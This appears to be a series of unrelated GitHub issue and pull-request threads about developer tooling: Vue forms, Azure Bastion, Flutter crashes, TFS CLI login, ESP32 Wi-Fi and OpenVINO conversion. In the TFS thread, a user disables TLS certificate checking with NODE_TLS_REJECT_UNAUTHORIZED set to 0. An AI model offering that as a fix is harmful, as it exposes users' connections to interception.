http://www.techrepublic.com/blog/web-designer/creating-an-ada-compliant-website/

I'd love to do some work on this.


Export data with API

Hi,
Is it possible to export all the data (fuelings and costs) of a specific car with an API call?
How can I do this? Like here:

Thanks,
Feriman

No, this is not supported by the API.


Add Commerce Layer UI Extension into marketplace

Staging a PR to add https://github.com/commercelayer/contentful-extension into the marketplace.

Moved to https://github.com/contentful/extensions/pull/152


broken docs link

Link to the documentation in the .readme of this repo gives 404, where did the documentation go?

Hi @Flexusaurs 👋
Thanks for catching this! The documentation is now migrated to https://redis.github.io/ioredis/. I created a PR for it.


Using With Large Forms

I have a huge form with 20+ fields. i feel so much redundancy on the code i write now. What is the best way ?

<form>
	<input name="first_name" v-model="user.first_name">
	<input name="last_name" v-model=.user.last_name">
	<input name="username" v-model=.user.username">
	and 20+......... input fields
</form>

i feel something like this would be nice. the user object will be created dynamically.. is this possible ?

<form v-model="user">
	<input name="first_name">
	<input name="last_name">
	<input name="username">
	and 20+......... input fields
</form>

Is this possible ? i have to define each repeatedly in data object and in the form.  it would be nice if we can achieve it something similar or simpler than that..

google Object.keys and use it with v-for.
On Fri, Aug 26, 2016, 02:22 Shakeeb Sadikeen<EMAIL_ADDRESS>wrote:

I have a huge form with 20+ fields. i feel so much redundancy on the code
i write now. What is the best way ?

    and 20+......... input fields

i feel something like this would be nice. the user object will be created
dynamically.. is this possible ?

    and 20+......... input fields

Is this possible ? i have to define each repeatedly in data object and in
the form. it would be nice if we can achieve it something similar or
simpler than that..
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/vuejs/vue/issues/3530, or mute the thread
https://github.com/notifications/unsubscribe-auth/AFTLl-4y809ujGbKarNutxbHXl6C-W60ks5qjd1GgaJpZM4JtW77
.

Please check i have updated the post.
A v-model should be pre defined in data object right? My question is to map the subkeys of the object with the input name.
I am not getting how will v-for and Object.keys would help on this. Can you please elaborate?

Not an expert, so this code will need modifying, but something like this is probably what you want:

<form v-model="user">

        <input name="{{ k }}">

</form>

or, maybe using Object v-for, like this:

<form v-model="user">

        <input name="{{ $key }}" value="{{ value }}">

</form>

I'm not sure that auto-generating form models in child component is good idea. But we can do this by using 2.0's render option.
https://jsfiddle.net/ktsn/xxodL5pc/3/
(I have no idea why the reset button does not affect input fields...)

This is a userland problem since it's achievable via components.

Its not about generating the INPUTS !!
@dflock yes. but it is not about generating the input elements. it is about data binding actually sorry if i have missed clarify it on the first post.
@ktsn Thanks. that is what i am trying to achieve. but it would be nice if vue has it out of the box. i am not aware of the technical side. but it will be cool feature. like laravel collective form model binding
// current approach
<form  @submit="submitForm>
   <input name="first_name" v-model="user.first_name">
   <input name="last_name" v-model="user.last_name">
</form>

// it would be nice if we could have this kind of approach out of the box
form v-model="user" @submit="submitForm">
        <input name="first_name">
        <input name="last_name">
</form>

@yyx990803 Yeah Even thanks. but i would be pleased. if you direct me to correct way. below is the exact thing i am trying to achieve. it is similar laravel collective form model binding.

@shakee93
<form>

        <input v-model="user[key]"/>

</form>

And please use the forums to ask questions next time.

@fnlctrl Please check my last comment. i have checked your fiddle. sorry but i am not trying to achieve that. i already have the full form designed with input tags and all. i need to bind them dynamically. without adding v-model on inputs.

What do you mean by bind them dynamically?
and why without using v-model?

I am trying to achieve this. please read the above one.
form v-model="user" @submit="submitForm">
        <input name="first_name">
        <input name="last_name">
</form>`

Then it's not possible. Please re-design your form.

Great !! but will be available in future ? or no way to this ? it will be clean there is alot redundancy of same variable name. can this be a feature request ?

This is a non issue because you can already solve it easily enough with v-for.
And as Evan said This is a userland problem since it's achievable via components.


Invalid characters indexed

It seems that characters / (e.g doc/advanc) or ( (e.g bin(out) are indexed with surrounding word characters.

I saw that it the same in lunr.js (as you did a close port of it)
Using just space or hyphen seems so wrong to separate words, but maybe they expect a string to be squashed to these only? (so any other characters would have to be replaced by spaces before indexing?)

Can you write down a few cases of the string to index, what it gets tokenized as, and what you'd expect?

Closing as lunr is expecting only words and spaces/hyphen, I can workaround it on my side.


Guidance on Bastion usage or alternatives

It would be great to see guidance on securely accessing virtual machines in a sustainable way, as we’ve struggled with this.
We have a small number of virtual machines running on a schedule, that require remote access.
These are accessed via a bastion (which appeared to be the most ‘azure’ way of doing so securely) - however the bastion service currently cannot be enabled/disabled or set to run on a schedule, so either we have to manually automate destroying and re-creating the bastion on a schedule (very slow and at the time we investigated certain features could only be enabled in the portal after creation) or just accept that we leave it running 24/7.
Any suggestions would be welcome!

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: dded14f9-e1af-2de7-e727-c8a6855f3337
Version Independent ID: dded14f9-e1af-2de7-e727-c8a6855f3337
Content: Security considerations for sustainable workloads on Azure - Microsoft Azure Well-Architected Framework
Content Source: well-architected/sustainability/sustainability-security.md
Service: architecture-center
Sub-service: well-architected
GitHub Login: @Zimmergren
Microsoft Alias: tozimmergren

Hi @jamescrowley, thank you for submitting this request.
We've introduced this discussion with the sustainability teams internally to iterate on. We will update the guidance if we find a good recommendation to put into the general WAF sustainability guidance.
Meanwhile, here are some relevant information for this topic:

ALZ guidance for VM remote access: https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/plan-for-virtual-machine-remote-access

Reading the guidance, the following seems to be the preferred options:

Use existing ExpressRoute or VPN connectivity
A single Azure Bastion host can be deployed in the hub virtual network, which can provide connectivity to Azure VMs on spoke virtual networks via virtual network peering. This configuration reduces the number of Azure Bastion instances to manage in your environment.

Hopefully, that helps a bit even if the guidance isn't updated yet.
Thanks!
#please-close


Fix external_sources parameter

This PR fixes the parameter check so the external_sources is passed to shellcheck via the --external-sources flag.
Boolean parameters are converted to their int representations (true => 1, false => 0) when passed via the environment (see #38 for detailed bug description).
Fixes #38

Regarding the failing build: I don't think this is caused by my changes, but is there anything I can do (should I add another commit to use volatile instead of dev:alpha here?), or will you fix this on master and I'll rebase my branch afterwards?
Thanks in advance for your help and feedback!

Good catch! Apologies we didn't see that earlier. Fixing the test issue and re-testing now. We'll add this as a patch in just a moment.


NullPointerException: FlutterFragment.onCreateView

Our production app has the a lot of NullPointerException in FlutterFragment.onCreateView as below.
We previously saw the same NullPointerException in FlutterFragment.onStart as well. But we saw it has been fixed recently in this PR. Can you also apply the fix for
FlutterFragment.onCreateView?

java.lang.NullPointerException: at io.flutter.embedding.android.FlutterFragment.onCreateView (FlutterFragment.java:621) at androidx.fragment.app.Fragment.performCreateView (Fragment.java:2963) at androidx.fragment.app.FragmentStateManager.createView (FragmentStateManager.java:518) at androidx.fragment.app.FragmentStateManager.moveToExpectedState (FragmentStateManager.java:282) at androidx.fragment.app.FragmentStore.moveToExpectedState (FragmentStore.java:112) at androidx.fragment.app.FragmentManager.moveToState (FragmentManager.java:1647) at androidx.fragment.app.FragmentManager.dispatchStateChange (FragmentManager.java:3128) at androidx.fragment.app.FragmentManager.dispatchViewCreated (FragmentManager.java:3065) at androidx.fragment.app.Fragment.performViewCreated (Fragment.java:2988) at androidx.fragment.app.FragmentStateManager.createView (FragmentStateManager.java:546) at androidx.fragment.app.FragmentStateManager.moveToExpectedState (FragmentStateManager.java:282) at androidx.fragment.app.FragmentStore.moveToExpectedState (FragmentStore.java:112) at androidx.fragment.app.FragmentManager.moveToState (FragmentManager.java:1647) at androidx.fragment.app.FragmentManager.dispatchStateChange (FragmentManager.java:3128) at androidx.fragment.app.FragmentManager.dispatchViewCreated (FragmentManager.java:3065) at androidx.fragment.app.Fragment.performViewCreated (Fragment.java:2988) at androidx.fragment.app.FragmentStateManager.createView (FragmentStateManager.java:546) at androidx.fragment.app.FragmentStateManager.moveToExpectedState (FragmentStateManager.java:282) at androidx.fragment.app.FragmentStore.moveToExpectedState (FragmentStore.java:112) at androidx.fragment.app.FragmentManager.moveToState (FragmentManager.java:1647) at androidx.fragment.app.FragmentManager.dispatchStateChange (FragmentManager.java:3128) at androidx.fragment.app.FragmentManager.dispatchViewCreated (FragmentManager.java:3065) at androidx.fragment.app.Fragment.performViewCreated (Fragment.java:2988) at androidx.fragment.app.FragmentStateManager.createView (FragmentStateManager.java:546) at androidx.fragment.app.FragmentStateManager.moveToExpectedState (FragmentStateManager.java:282) at androidx.fragment.app.FragmentManager.executeOpsTogether (FragmentManager.java:2180) at androidx.fragment.app.FragmentManager.removeRedundantOperationsAndExecute (FragmentManager.java:2106) at androidx.fragment.app.FragmentManager.execPendingActions (FragmentManager.java:2002) at androidx.fragment.app.FragmentManager$5.run (FragmentManager.java:524) at android.os.Handler.handleCallback (Handler.java:938) at android.os.Handler.dispatchMessage (Handler.java:99) at android.os.Looper.loop (Looper.java:246) at android.app.ActivityThread.main (ActivityThread.java:8512) at java.lang.reflect.Method.invoke (Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run (RuntimeInit.java:602) at com.android.internal.os.ZygoteInit.main (ZygoteInit.java:1130)

Hi @neppxiao
Can you please provide your flutter doctor -v?

@TahaTesser sure, below it is.
[✓] Flutter (Channel stable, 2.0.4, on Linux, locale en_US.UTF-8)
• Flutter version 2.0.4 at /home/user/flutter
• Framework revision b1395592de (4 months ago), 2021-04-01 14:25:01 -0700
• Engine revision 2dce47073a
• Dart version 2.12.2
[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.3)
• Android SDK at /home/user/android
• Platform android-29, build-tools 29.0.3
• ANDROID_SDK_ROOT = /home/user/android
• Java binary at: /usr/bin/java
• Java version OpenJDK Runtime Environment (build 1.8.0_282-8u282-b08-0ubuntu1~20.04-b08)
• All Android licenses accepted.
[✗] Chrome - develop for the web (Cannot find Chrome executable at google-chrome)
! Cannot find Chrome. Try setting CHROME_EXECUTABLE to a Chrome executable.
[!] Android Studio (not installed)
• Android Studio not found; download from https://developer.android.com/studio/index.html
(or visit https://flutter.dev/docs/get-started/install/linux#android-setup for detailed instructions).
[!] Connected device
! No devices available

Hi @neppxiao
Unfortunately, the version you're using is outdated, it's not feasible to provide any bug fixes for old version of Flutter.
I kindly advise you to update to the latest Fluter stable, if you encounter this issue, please comment below with the details from the latest stable, including steps to replicate the issue.
Can you please upgrade to the latest  stable and try again
Execute the following commands to upgrade
flutter channel stable
flutter upgrade --force
flutter doctor -v
If the problem persists, can you please provide your flutter doctor -v with the upgrade, complete reproducible minimal code sample, and complete flutter run --verbose logs running the minimal code sample?
Thank you

Hi @TahaTesser , we updated the flutter to the latest flutter version. This NPE is still happening a lot. You can see from the below graph that the trend is going up and the build is just 20% out.

[✓] Flutter (Channel stable, 2.2.3, on Linux, locale en_US.UTF-8)
[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.3)
[✗] Chrome - develop for the web (Cannot find Chrome executable at google-chrome)
! Cannot find Chrome. Try setting CHROME_EXECUTABLE to a Chrome executable.
[!] Android Studio (not installed)
[!] Connected device
! No devices available

cc @blasten

It seems I'm facing the same problem. Is there any update about this so far?

I'm wondering if there is any reason to the onCreateView method on FlutterFragment doesn't call the method stillAttachedForEvent to check whether the delegate is null or not. There are other lifecycles on FlutterFragment which calls this method, and it seems it is to prevent the crash reported here on this issue. Would make onCreateView call stillAttachedForEvent be a valid solution? 🤔


Moved extension to appropriate extensions folder.

Pull Request Description
Title: Move Extension to Appropriate Extensions Folder
Description:
This pull request moves the specified extension file(s) to the appropriate Extensions folder in the project directory. This reorganization improves the project's structure and maintains a logical separation of concerns, making the codebase easier to navigate and manage.
Changes:

Relocated extension file(s) to the designated Extensions folder.

Impact:

No changes to the functionality of the application.
Enhanced project organization and maintainability.

Please review and merge this reorganization update.

@thisisnabi Please review


Refactor LintVisitor / NodeLintRegistry to Depend on Analyzer Package

Currently LinterVisitor and NodeLintRegistry are copied outside of Analyzer package. There should be a desire to depend explicitly on analyzer package, to prevent issues arising from future analyzer package updates.

For now: Wont Fix. NodeLintRegistry utilizes analyzer's built-in Lint class, instead of Sidecar Lint package.
Its possible that in the future, we want to have full parity with the analyzer's Lint class, but for now we want full control of the Lint class to ensure we can meet all objectives of the project.

Re-implemented with the latest commits.


Add RevWalk.prototype.fastWalk

This adds the manually written C++ function fastWalk the RevWalk class.
I also added in a system the let the developer add in optimized C++ code that will be added to
the library in a similar way that we wrap the libgit2 library. Basically, the developer just defines the
API for the function to wrap and then just writes the C++ implementation of the functions. The
generator classes take care of the rest.

Ha so awesome, have you noticed a significant performance boost by avoiding the Native->User land bridge?

An order of magnitude speed increase :)

A few other things on my list are blame and file history. Both of those require a large revwalk and we can do that all in C++ land and just send back up the result. There really shouldn't be too many cases of this but it's a massive perf increase when you need to do it.


Feature/tdtm mutable dmlwrapper

Context
TDTM allows for users to create execution chains of logic, however customer implementations of TDTM are unable to interact with any aspects of the TDTM_Runnable.DmlWrapper collection that will have inserts, updates, and deletes performed. This creates a critical issue where customer implementations of TDTM must workaround any situation where NPSP's TDTM implementations have already added a record into the objectsToUpdate collection; not handling this will present a duplicate record in collection exception, and handling this often means leveraging asynchronous updates or performing DML separately from TDTM_TriggerHandler. Furthermore, any customer implementations of TDTM might break if NPSP updates its TDTM logic to start adding a record into an objectsToUpdate (which was not encountered when the customer implementation was initially designed and deployed).
This PR enables NPSP and customer implementations of TDTM to gain access to the global DmlWrapper that TDTM_TriggerHandler maintains during a transaction. The feature is considered "opt in" because it relies upon an entirely new interface to implement.
Example:

Customer wishes to set fields on Account when a Contact is created in the AfterInsert context
Customer adds the Contact's Account into DmlWrapper.objectsToUpdate and returns this from their TDTM_Runnable.run implementation
When DML is performed, Salesforce throws an exception because an NPSP TDTM implementation had already added that Account into DmlWrapper.objectsToUpdate
Customer updates their class to implement TDTM_RunnableMutable, checks whether the Account retrieved is part of DmlWrapper.objectsToUpdate, and either updates that record or places the Account retrieved into that collection

Benefits:

Existing TDTM implementations will not break, as any existing classes implement the TDTM_Runnable interface
Classes implementing the TDTM_RunnableMutable interface can be smaller implementations of code, as developers can reliably retrieve a record that was processed in a prior context from the transaction's global DmlWrapper
Customers are able to adopt TDTM for use cases that were previously managed with a different framework or workaround

Risks:

Mutating the transaction's DmlWrapper collection could remove records for insertion or update, or overwrite previous changes by putting a record into the collection that does not reflect changes made from TDTM logic fired previously in transaction

Thought Leaders + Contributors: @njjc, @force2b, @matthewpoe
Critical Changes

TDTM_TriggerHandler class

Updated runClass to accept an additional parameter, which is the TDTM_Runnable.DmlWrapper declared in the run method
Updated runClass to check whether classInstance is an instance of TDTM_RunnableMutable, in which case that class's run method is called

New Metadata

TDTM_RunnableMutable class

Has global access to allow developers to implement this interface for creating TDTM logic that has access to the transaction's DmlWrapper collection

TDTM_RunnableMutableExample_TEST class

Required for test coverage to demonstrate how the same class can be called multiple times, and where that class is responsible for checking whether dmlWrapper already contains a record for update

TDTM_RunnableMutable_TEST class

Verifies that an implementation of TDTM_RunnableMutable interacts with the transaction's DmlWrapper within the method, and expected updates based on iteratively running the same class multiple times to increment Account.NumberOfEmployees

**lurch: add

Tracking W-032586

**lurch: detach

Detached W-032586

**lurch: attach W-030244

Thank you for your contribution @rogeramitchell & @njjc!!

Tracking W-030244

@force2b reviewed your requested changes, replied to each, and removed testdata/dev_org/test_data.db.

@rogeramitchell I think when removing some of the extraneous files from the PR they ended up getting removed from the branch entirely. For example, the PR is trying to delete the Trigger_Handler__c object, its related layout, etc. from the repo instead of just not having any reference to those files in the PR.

@force2b added back Trigger_Handler__c.object and Trigger_Handler__c-Trigger Handler Layout.layout from Cumulus/master, which resolves the diff that was included as part of this PR.

@force2b the requested changes have been made to this PR. What are our next steps?

@rogeramitchell We reviewed this yesterday in backlog refinement, so it is slowly moving forward. I have some other more concepts I want to be sure of as we figure out how this will be clearly documented, but otherwise we should see it move in the new couple of weeks.
Full disclosure on our process though. Once we bring this into our sprint to work on, this PR will get closed (without merging) and we'll create a new feature branch for the work so it can fit into our CI processes.

@force2b completely makes sense. If there's a need for community involvement on the QA and documentation side, let me know.

Closing this as it has been replaced by #4372


invalid credentials rejection from all urls (http and https)

i'm working with on-premise TFS 2015 and am able to create build agents and login to TFX from windows.
from fedora or ubuntu machines i have full access from my browser the server answers to ping nslookup returns the correct server address.
running tfs login --auth-type basic fails (server is configure to accept basic authentication)
**user@machine ~$ tfx login --auth-type basic
2016-02-29T14:55:28.712Z : loader.load
TFS Cross Platform Command Line Interface v0.3.15
Copyright Microsoft Corporation

Service URL: http://serverurl:port/tfs/collection
2016-02-29T14:55:37.279Z : cache.getItem
Username: Domain\Username
Password:
2016-02-29T14:55:53.054Z : Login.exec
2016-02-29T14:55:53.147Z : Connection failed: invalid credentials.
2016-02-29T14:55:53.148Z : cache.setItem
Invalid credentials.
**

I triple checked the credentials and tried accessing with CURL - same result
BTW - with SSL i have to run** export NODE_TLS_REJECT_UNAUTHORIZED="0"**
otherwise i get:
Connection failed. Check your internet connection & collection URL.
Message: certificate not trusted
i really want to pick TFS vNext as my primary cross platform CI system (using TFS since 2012)
Please advise.

correction ... issue is persistent from windows client as well (checking Network configuration with IT) same machines are able to connect to VSTS instance with PAT and Basic Auth with no issues.

Hello grawcho, we just ran into the same thing here at my office.
The reason why it wasn't working for us is because we enabled basic auth at the wrong level in IIS. Instead of enabling it on the application "Sites/Team Foundation Server/tfs" we enabled it directly on the site "/Sites/Team Foundation Server". After correcting this oversight it started working as expected.
No restart of the "Team Foundation Server" site was required in our case. Hope this helps.

thanks.
i'll try and report back
On Wed, Mar 2, 2016 at 6:00 PM, Elmar Vosloo<EMAIL_ADDRESS>wrote:

Hello grawcho, we just ran into the same thing here at my office.
The reason why it wasn't working for us is because we enabled basic auth
at the wrong level in IIS. Instead of enabling it on the application "Sites/Team
Foundation Server/tfs" we enabled it directly on the site "/Sites/Team
Foundation Server". After correcting this oversight it started working
as expected.
No restart of the "Team Foundation Server" site was required in our
case. Hope this helps.
—
Reply to this email directly or view it on GitHub
https://github.com/Microsoft/tfs-cli/issues/81#issuecomment-191301588.

--
G

just tried ... no luck ... thanks.
On Wed, Mar 2, 2016 at 6:05 PM, shani feldman<EMAIL_ADDRESS>wrote:

thanks.
i'll try and report back
On Wed, Mar 2, 2016 at 6:00 PM, Elmar Vosloo<EMAIL_ADDRESS>wrote:

Hello grawcho, we just ran into the same thing here at my office.
The reason why it wasn't working for us is because we enabled basic auth
at the wrong level in IIS. Instead of enabling it on the application "Sites/Team
Foundation Server/tfs" we enabled it directly on the site "/Sites/Team
Foundation Server". After correcting this oversight it started working
as expected.
No restart of the "Team Foundation Server" site was required in our
case. Hope this helps.
—
Reply to this email directly or view it on GitHub
https://github.com/Microsoft/tfs-cli/issues/81#issuecomment-191301588.

--
G

--
G

As an aside the exact display message we got back (stock command prompt), personal details removed and i see one difference, we're using version 0.3.13...:
C:\Program Files (x86)\Microsoft Visual Studio 14.0>tfx login --auth-type basic
TFS Cross Platform Command Line Interface v0.3.13
Copyright Microsoft Corporation

Service URL: http://<tfs_hostname>:/tfs/collection
Username: domain\username
Password: ***
Invalid credentials.

Hope you find an answer soon.

thanks everyone for your inputs.
the issue was: configure basic authentication for iis for entire Team Foundation site,
and logging in to the https://:/tfs  (without collection path)
and logging in with DOMAIN\USERNAME (from command line in Linux needs to add escaping character DOMAIN\USERNAME)
and the magic happens.
Logged in successfully.

Please Close the issue


Stabilize the encoding format

We should stabilize the RocksDB indexes in order to allow real usages of the database.

I plan to provide migration script in the future to move data


JAVA-1038: Fetch node info by rpc_address if it has a broadcast_address which is not in system.peers.

This supersedes #550 .

:+1:

I tried this out in EC2 and it worked fantastically!
The only thing I think that would be nice adding to this is adding logging for this particular case (maybe at debug) when the entry isn't found in peers and we attempt using the peer instead.

@tolbertam I added the log in the rebased commit.


Add ESP32 support, changed layout of inline HTML, small fixes

Added ESP32 support for the main files PersWiFiManager.h and PersWiFiManager.cpp using #if defined(ESP8266) and defined(ESP32) to make the difference.
Added ESP32 support for the first example basic_rest_api.ino using the same #if defined's.
To make this example work you need to install the ESP32 port of the ESP8266SSDP library too. This port is called ESP32SSDP and can be found here.
The other two examples can be adapted easily, although spiffs_rest_api_nonblocking.ino requires adaptation of the EasySSDP and SPIFFSReadServer files too.
Other changes are, in basic_rest_api.ino:

moved SSDP.setDeviceType("upnp:rootdevice") to before SSDP.begin(), because it seems more logical to fully initialise SSDP before starting it

and in PersWiFiManager.cpp:

changed the layout of the inline HTML for const char wifi_htm[] to make it readable in the Arduino SDK
used the ESP32 equivalent for ENC_TYPE_NONE, i.e. WIFI_AUTH_OPEN
added HTTP headers Cache-Control and Expires for the route "/wifi.htm", both for the ESP32 and for the ESP8266, to avoid this page being loaded from the browser cache when a (next) connection to the ESP Access Point fails
added WiFi.mode(WIFI_STA) in PersWiFiManager::begin(), because otherwise my ESP32 crashed.  Maybe it is a good idea to add this for the ESP8266 version too

Added a method ::resetSettings() to clear WiFi credentials, e.g. for testing purposes. If ::resetSettings() is called before ::begin(), the ESP should start in AP mode, because it has no known SSID to connect to.

Some more changes:

It seems that the ESP8266 can be (rarely) bricked if connecting to a new SSID while it is already connected to another SSID. So calling the recently added ::resetSettings() to clear a previous SSID
The literal HTML string was wrong
Added ::getSsid() to get the last SSID the ESP connected to or tried to connect to

Very cool, thanks!


[Feature] Search Bar with Suggestions (Autocomplete)

Description
This type of search bar provides suggestions or autocomplete options as users type. It enhances usability by helping users find relevant search terms quickly.
Screenshots

Checklist

[X] I have checked the existing issues.
[X] I follow Contributing Guidelines of this project.
[X] I am a GSSOC'24 contributor.
[ ] I am a IWOC'24 contributor.
[ ] I am a JWOC'24 contributor.
[ ] I am a SWOC'24 contributor.

Code of Conduct

[X] I agree to follow this project's "Code of Conduct".

Hi @tanishaprasad can you assign this task to me. I think i can make an attractive search bar

From where you will get the suggestions, will it fetch from the Google @tanishaprasad

From where you will get the suggestions, will it fetch from the Google @tanishaprasad

We can use Google places API for location based suggestions or Custom Search JSON API.

From where you will get the suggestions, will it fetch from the Google @tanishaprasad

The suggestions will be fetched using an array as the data source for suggestions.

Okay, go ahead @tanishaprasad

Pls provide your PR @tanishaprasad

Pls provide your PR @tanishaprasad

Done !


Permission example in readme

Could you add a complete example about permissions?
Thanks in advance

what do you want? backend?
I am not using permissions right now.
Also months ago there is a new plugin on Admin on rest to help with permissions (https://marmelab.com/blog/2017/06/26/aor-permissions.html)
Maybe @7flash or @fonzarely know more about this topic.

Anyone needs backend and frontend example because permissions are critical in admin apps.
A complete example will help to understand how use It.

Some months ago i have started an example: https://github.com/Cambalab/test-feathers-admin/
But i didnt update it with the latest plugin version.
Maybe you can start there and try to update it, to get an running project with a complete backend and frontend example.
@kfern PR are welcome ;)

I don't know enough admin-on-rest, but I could help with Integration tests (related to #4)

@josx https://github.com/marmelab/aor-permissions: This project is discontinued. Its features have been merged in admin-on-rest 1.3.0

if you can help on integration tests would be great!

For the integration tests I will start a project from scratch.
I'll need help with permissions setting, so a complete example will be perfect

great! maybe then we can deploy it to heroku to get an online usable version.
No problem I can help you.

I have already started the project for integration tests. Repo url is https://github.com/kfern/feathers-aor-test-integration
In order to continue I need your help with an example on managing permissions.
When can you have it?

great!
@fonzarely and @7flash  can you also see  this?

Yes, I can. I have few availability now but will propose some thing.

take a look on https://github.com/kfern/feathers-aor-test-integration and on PR https://github.com/kfern/feathers-aor-test-integration/pull/1
We are trying to make a usefull example of permission (enforcing on backend and frontened), it seems you know more than us in that topic. Your look would be helpfull, at leasy you can tell us how to do it.

Done :-)
https://github.com/kfern/feathers-aor-test-integration

great work @kfern
Can you add this to the README and make a PR?

Now I do not have much time but I will try to find it.

Done :-)


Discuss oddly spelled words (please do not merge)

This isn't meant as a real pull request. While working on https://github.com/jsoref/PowerShell/tree/spelling I came across two tokens for which I wasn't particularly certain what the intended words were.
If someone could identify the correct words, I'd be happy to include them in a pull request.

Hi @jsoref, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!
You've already signed the contribution license agreement. Thanks!
The agreement was validated by Microsoft and real humans are currently evaluating your PR.
TTYL, MSBOT;

@jsoref It looks like you got the information that you needed. I'd like to close this PR unless you are going to update it with merge-able fixes.

If you're OK with one stray PR for a little bit, I'd rather have one than repeatedly opening additional ones (the bot is annoying). If I don't put anything into it in two weeks, please feel free to close it. But it's not a huge deal if you want to close it sooner...
Yes, I've taken these two answers.

I can provide a commit to talk about unsecure as well, normally the word used is insecure. But for now, I'll just provide a link: https://github.com/PowerShell/PowerShell/search?utf8=✓&q=unsecure
@mirichmo?

All of the unsecure hits in the search should be left alone as they are either a public api, or commenting on a public api using unsecure in the api.

@lzybkr ok

I opened #2171 for the unused code.
I don't think we should change the spelling in this code because it's likely would be removed soon.
With that, it looks like all other things have been discussed, so I'm going to close the PR.
Feel free to reopen it, if you want to continue the discussion.


The FakeQuantize layer is not yet implemented.

Hy,
I am trying to convert openvino model to tensorflow. But when I am doing it, it is throwing an error.
[setupvars.sh] OpenVINO environment initialized
TensorFlow/Keras model building process starts ======================================
The FakeQuantize layer is not yet implemented.
Conversion of that model is necessary. Please let me know if you can implement that layer or what is other workaround for this conversion. Thanks.

First, I have a request. If possible, could you please provide the .xml and .bin files and the .onnx or .pb or saved_model files to be converted? I need a minimum amount of materials to see if I can handle it.

First, I have a request. If possible, could you please provide the .xml and .bin files and the .onnx or .pb or saved_model files to be converted? I need a minimum amount of materials to see if I can handle it.

Yeah sure. I am emailing you the files on this email<EMAIL_ADDRESS>). Please let me know when you receive it.

Yeah sure. I am emailing you the files on this email<EMAIL_ADDRESS>). Please let me know when you receive it.

Any Update ?

Any Update ?

So far, as far as I know, the conversion from OpenVINO to other frameworks is difficult because I am the only one working on it. I have not seen any other engineer doing the same.

So far, as far as I know, the conversion from OpenVINO to other frameworks is difficult because I am the only one working on it. I have not seen any other engineer doing the same.

I'm facing the same issue with converting an OpenVino model to TensorFlow. I was working on a solution to this by implementing the FakeQuantize layer in the source code after following OpenVino documentation.
@PINTO0309 I'd like it if you could help me a little with implementation as I'm not so familiar with TensorFlow (Pytorch developer originally).
So far, I have implemented the following code after line 1665 in openvino2tensorflow.py:
elif layer.attrib['type'] == 'FakeQuantize':
    x = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 0)]
    x = tf.cast(x, dtype='float32')
    input_low = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 1)]
    input_low = tf.cast(input_low, dtype='float32')
    input_high = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 2)]
    input_high = tf.cast(input_high, dtype='float32')
    output_low = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 3)]
    output_low = tf.cast(output_low, dtype='float32')
    output_high = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 4)]
    output_high = tf.cast(output_high, dtype='float32')
    levels = int(data.attrib['levels'])

    tf_layers_dict[layer_id] = tf.where(tf.math.less_equal(x, tf.math.minimum(input_low, input_high)),
                                        output_low, tf.where(tf.math.greater(x, tf.math.maximum(input_low, input_high)),
                                        output_high,
                                        tf.math.round((x - input_low) / (input_high - input_low) * (levels-1)) / (levels-1) * (output_high - output_low) + output_low))

But I'm getting the following error when I try to convert my model:
Traceback (most recent call last):
  File "openvino2tensorflow.py", line 2148, in <module>
    main()
  File "openvino2tensorflow.py", line 2144, in main
    yolact, debug, debug_layer_number)
  File "openvino2tensorflow.py", line 351, in convert
    kernel_initializer=Constant(tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 1)].transpose(2,3,1,0)))(tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 0)])
AttributeError: 'tensorflow.python.framework.ops.EagerTensor' object has no attribute 'transpose'

Would appreciate your input on my code; thanks.

I'm facing the same issue with converting an OpenVino model to TensorFlow. I was working on a solution to this by implementing the FakeQuantize layer in the source code after following OpenVino documentation.
@PINTO0309 I'd like it if you could help me a little with implementation as I'm not so familiar with TensorFlow (Pytorch developer originally).
So far, I have implemented the following code after line 1665 in openvino2tensorflow.py:
elif layer.attrib['type'] == 'FakeQuantize':
    x = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 0)]
    x = tf.cast(x, dtype='float32')
    input_low = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 1)]
    input_low = tf.cast(input_low, dtype='float32')
    input_high = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 2)]
    input_high = tf.cast(input_high, dtype='float32')
    output_low = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 3)]
    output_low = tf.cast(output_low, dtype='float32')
    output_high = tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 4)]
    output_high = tf.cast(output_high, dtype='float32')
    levels = int(data.attrib['levels'])

    tf_layers_dict[layer_id] = tf.where(tf.math.less_equal(x, tf.math.minimum(input_low, input_high)),
                                        output_low, tf.where(tf.math.greater(x, tf.math.maximum(input_low, input_high)),
                                        output_high,
                                        tf.math.round((x - input_low) / (input_high - input_low) * (levels-1)) / (levels-1) * (output_high - output_low) + output_low))

But I'm getting the following error when I try to convert my model:
Traceback (most recent call last):
  File "openvino2tensorflow.py", line 2148, in <module>
    main()
  File "openvino2tensorflow.py", line 2144, in main
    yolact, debug, debug_layer_number)
  File "openvino2tensorflow.py", line 351, in convert
    kernel_initializer=Constant(tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 1)].transpose(2,3,1,0)))(tf_layers_dict[get_tf_edges_from(tf_edges, layer_id, 0)])
AttributeError: 'tensorflow.python.framework.ops.EagerTensor' object has no attribute 'transpose'

Would appreciate your input on my code; thanks.

@QasimKhan5x
Excellent. It's already midnight in Japan, so I'll check tomorrow. Thanks for your contribution!

@QasimKhan5x
Excellent. It's already midnight in Japan, so I'll check tomorrow. Thanks for your contribution!

@Gilberto-dev @QasimKhan5x
